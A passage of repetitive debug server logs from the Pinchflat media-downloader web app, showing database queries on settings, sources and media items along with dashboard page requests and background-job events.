WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 06:02:49.959 [debug] QUERY OK source="sources" db=0.4ms idle=20.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:02:49.962 [info] Sent 200 in 40ms 06:02:55.322 [info] GET / 06:02:55.323 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 06:02:55.324 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1741.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:02:55.324 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1742.9ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 06:02:55.325 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1743.4ms SELECT count(s0."id") FROM "sources" AS s0 [] 06:02:55.327 [debug] QUERY OK source="media_items" db=1.3ms idle=1060.8ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 06:02:55.327 [debug] QUERY OK source="media_items" db=0.4ms idle=60.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 06:02:55.328 [debug] QUERY OK source="settings" db=0.1ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:02:55.328 [debug] QUERY OK source="settings" db=0.3ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:02:55.329 [debug] QUERY OK source="settings" db=0.0ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:02:55.330 [debug] QUERY OK source="tasks" db=0.2ms idle=2.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 06:02:55.330 [debug] QUERY OK source="media_items" db=0.4ms idle=2.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 06:02:55.331 [debug] QUERY OK source="media_items" db=0.4ms idle=2.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 06:02:55.331 [debug] QUERY OK source="sources" db=0.1ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [30, 31] 06:02:55.334 [debug] QUERY OK source="media_items" db=1.3ms idle=4.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 06:02:55.336 [debug] QUERY OK source="media_items" db=1.5ms idle=4.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 06:02:55.337 [debug] QUERY OK source="sources" db=0.2ms idle=6.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:02:55.338 [info] Sent 200 in 15ms 06:03:00.004 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:03:05.905 [info] GET / 06:03:05.905 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 06:03:05.906 [debug] QUERY OK source="settings" db=0.3ms idle=1324.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:05.907 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1325.4ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 06:03:05.908 [debug] QUERY OK source="sources" db=0.3ms idle=1326.0ms SELECT count(s0."id") FROM "sources" AS s0 [] 06:03:05.910 [debug] QUERY OK source="media_items" db=2.1ms idle=613.3ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 06:03:05.911 [debug] QUERY OK source="media_items" db=0.3ms idle=329.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 06:03:05.911 [debug] QUERY OK source="settings" db=0.1ms idle=4.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:05.911 [debug] QUERY OK source="settings" db=0.1ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:05.912 [debug] QUERY OK source="settings" db=0.1ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:05.913 [debug] QUERY OK source="tasks" db=0.2ms idle=2.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 06:03:05.914 [debug] QUERY OK source="media_items" db=0.5ms idle=2.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 06:03:05.914 [debug] QUERY OK source="media_items" db=0.3ms idle=2.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 06:03:05.915 [debug] QUERY OK source="sources" db=0.1ms idle=2.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [30, 31] 06:03:05.918 [debug] QUERY OK source="media_items" db=1.3ms idle=4.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 06:03:05.919 [debug] QUERY OK source="media_items" db=1.5ms idle=5.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 06:03:05.920 [debug] QUERY OK source="sources" db=0.1ms idle=6.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:05.921 [info] Sent 200 in 16ms 06:03:06.065 [info] {"source":"oban","duration":1899,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:03:06.402 [info] GET / 06:03:06.402 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 06:03:06.403 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=484.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:06.404 [debug] QUERY OK source="media_profiles" db=0.2ms idle=483.9ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 06:03:06.405 [debug] QUERY OK source="sources" db=0.3ms idle=484.2ms SELECT count(s0."id") FROM "sources" AS s0 [] 06:03:06.407 [debug] QUERY OK source="media_items" db=1.7ms idle=339.8ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 06:03:06.407 [debug] QUERY OK source="media_items" db=0.3ms idle=109.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 06:03:06.408 [debug] QUERY OK source="settings" db=0.0ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:06.408 [debug] QUERY OK source="settings" db=0.1ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:06.408 [debug] QUERY OK source="settings" db=0.1ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:06.409 [debug] QUERY OK source="tasks" db=0.1ms idle=2.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 06:03:06.410 [debug] QUERY OK source="media_items" db=0.4ms idle=1.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 06:03:06.410 [debug] QUERY OK source="media_items" db=0.3ms idle=2.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 06:03:06.411 [debug] QUERY OK source="sources" db=0.1ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [30, 31] 06:03:06.414 [debug] QUERY OK source="media_items" db=1.3ms idle=3.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 06:03:06.415 [debug] QUERY OK source="media_items" db=1.5ms idle=4.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 06:03:06.416 [debug] QUERY OK source="sources" db=0.1ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:03:06.417 [info] Sent 200 in 15ms 06:03:06.562 [info] GET /sources 06:03:06.562 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 06:03:06.564 [debug] QUERY OK source="settings" db=0.5ms idle=152.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:06.565 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=153.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:06.566 [debug] QUERY OK source="settings" db=0.4ms idle=151.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:06.568 [debug] QUERY OK source="settings" db=0.3ms idle=152.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:06.568 [debug] QUERY OK source="settings" db=0.2ms idle=152.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:06.573 [debug] QUERY OK source="sources" db=3.3ms queue=0.1ms idle=5.6ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS 